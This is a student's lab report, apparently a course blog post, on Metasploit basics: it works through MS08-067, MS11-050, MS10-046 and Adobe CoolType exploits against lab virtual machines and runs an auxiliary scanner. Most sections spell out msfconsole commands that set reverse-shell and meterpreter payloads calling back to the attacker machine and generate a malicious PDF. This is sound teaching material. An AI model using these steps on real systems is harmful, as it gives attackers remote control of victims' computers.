20155308『网络对抗技术』Exp5 MSF基础应用

20155308『网络对抗技术』Exp5 MSF基础应用

一、原理与实践说明

实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08-067; (1分)

  • 一个针对浏览器的攻击,如ms11-050;(1分)

  • 一个针对客户端的攻击,如Adobe;(1分)

  • 成功应用任何一个辅助模块。(0.5分)

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

基础问题回答

  • 用自己的话解释什么是exploit,payload,encode
  1. exploit:Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用)。有Exploit就肯定有漏洞。
  2. payload:病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做"有效负载"(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。
  3. encode:编码,编制成计算机语言

实践内容

目录

  • 主动攻击:ms08_067漏洞攻击
  • 对浏览器攻击:ms10_046漏洞攻击
  • 对Adobe的漏洞攻击:adobe_toolbutton
  • 尝试利用漏洞对win7系统进行攻击

Windows服务渗透攻击——MS08-067安全漏洞

攻击机:Kali(IP地址:192.168.91.135)

靶机: windows XP SP3(English)(IP地址:192.168.91.134)


在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(windows/smb/ms08_067_netapi) > show payloads
  • msf exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
  • msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.91.135 //攻击机ip
  • msf exploit(windows/smb/ms08_067_netapi) > set LPORT 5308 //攻击端口
  • msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.91.134 //靶机ip,特定漏洞端口已经固定
  • msf exploit(windows/smb/ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
  • msf exploit(windows/smb/ms08_067_netapi) > exploit //攻击


  • 建立会话,攻击成功结果如下:


针对浏览器的攻击:ms11_050

攻击机:kali (IP地址:192.168.91.135)

靶机:WindowsXP Professional sp2/Windows7专业版 (IP地址:192.168.91.136)


在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/browser/ms11_050_mshtml_cobjectelement

  • info指令查看该模块的信息

  • targets信息

  • options信息

  • msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_tcp //http反向回连
  • msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.91.135 //攻击机ip
  • msf exploit(ms11_050_cobjectelement) > set LPORT 5308 //攻击端口固定
  • msf exploit(ms11_050_cobjectelement) > set URIPATH baidu //统一资源标识符路径设置
  • set target 1
  • msf exploit(ms11_050_cobjectelement) > exploit

  • 攻击成功后会有靶机需要访问的网址

  • 但是不知道一直回连不成功,一直再试,也不知道为啥??看了我们小组长的博客,我学习了新的浏览器攻击方式,见下面。

对浏览器攻击:ms10_046漏洞攻击


  • use exploit/windows/browser/ms10_046_shortcut_icon_dllloader使用该模块,再使用
    show payloads
    查看可以供我们使用的payload

  • SRVHOST填的是本地监听主机的IP地址,LHOST也是监听的IP地址,所以这里SRVHOST和LHOST都应该填攻击机的IP地址:
  • 使用exploit指令执行漏洞,可以看到生成了一个url:

  • 使用exploit指令执行漏洞,可以看到生成了一个url:

  • 在MSF终端看见漏洞执行成功:

针对Adobe Reader软件的渗透攻击——adobe_toolbutton

攻击机:kali

靶机:windowsXP Professional sp2

  • 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • 先用search adobe得知此漏洞所在的模块

  • 选择一个模块


  • show targets查看可以被攻击的靶机的操作系统型号

  • msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp 反向回连
  • msf exploit(adobe_cooltype_sing) > set LHOST 192.168.91.135 //攻击机ip
  • msf exploit(adobe_cooltype_sing) > set LPORT 5308 //攻击端口
  • msf exploit(adobe_cooltype_sing) > set FILENAME 5308hwf.pdf //设置生成pdf文件的名字
  • msf exploit(adobe_cooltype_sing) > exploit //攻击

  • 找到5308hwf.pdf文件

  • 将文件放到靶机上

  • 在kali上进入监听模块,输入以下命令:

  • msf > use exploit/multi/handler //进入监听模块

  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

  • msf exploit(handler) > set LHOST 192.168.91.135 //攻击机ip

  • msf exploit(handler) > set LPORT 5308 //攻击端口固定

  • msf exploit(handler) > exploit

  • 发现已经获取了被攻击者权力,可以对其进行操作

  • 若关闭pdf文件,则失去权限,攻击失败

成功应用任何一个辅助模块

  • 输入命令show auxiliary查看所有辅助模块

  • 选择其中一个即可

  • 用指令info查看相关信息

  • 进行扫描,结果如下图所示

实验中的问题

  • 我在进行kali机的IP地址的查询时,正常的地址显示是这样的

  • 但是总是出现eth0消失的情况:

  • 针对这个问题,我之前的解决办法其一是关闭虚拟机,重新开一遍,地址就会正常了。其二就是重新安一下虚拟机,所以我的硬盘中虚拟机总是得备份。但是总是出现这个问题也不是办法,我相信有的同学也遇到过这个问题(不会只有我这么惨吧???)

  • 解决:

一般是eth0被禁掉了,就只会显示127.0.0.1这个回环地址 你用
ifup eth0 ifconfig up eth0 上面两个命令都可以,然后 /etc/init.d/network restart 你就能看到eth0了。

  • 下面这篇博客是解释“linux系统查看IP地址,不显示IP地址或者只显示127.0.0.1”原因及解决过程,可以参考一下。

https://blog.csdn.net/qq_36769100/article/details/71473632

实验感想

本次实验通过通过MSF的攻击模块对计算机进行各种攻击方法的实践,比前几次的攻击更加的系统化,同时攻击的方法更加深入。通过最后一个板块的研究,使我将学习理论知识转化为自我实践过程。

在其中某些模块的学习中,总是会有攻击不成功的地方,每当不成功,我就很懊恼,为啥总是很别人的不一样。但是在课上听到老师说,攻击不成功是很正常的事情,我突然感觉到了信心。然后通过查找学长学姐或是网上的解决方法,不断解决问题,最后成功,感觉很有成就感。

posted @ 2018-04-27 00:03  郝文菲20155308  阅读(248)  评论(0编辑  收藏  举报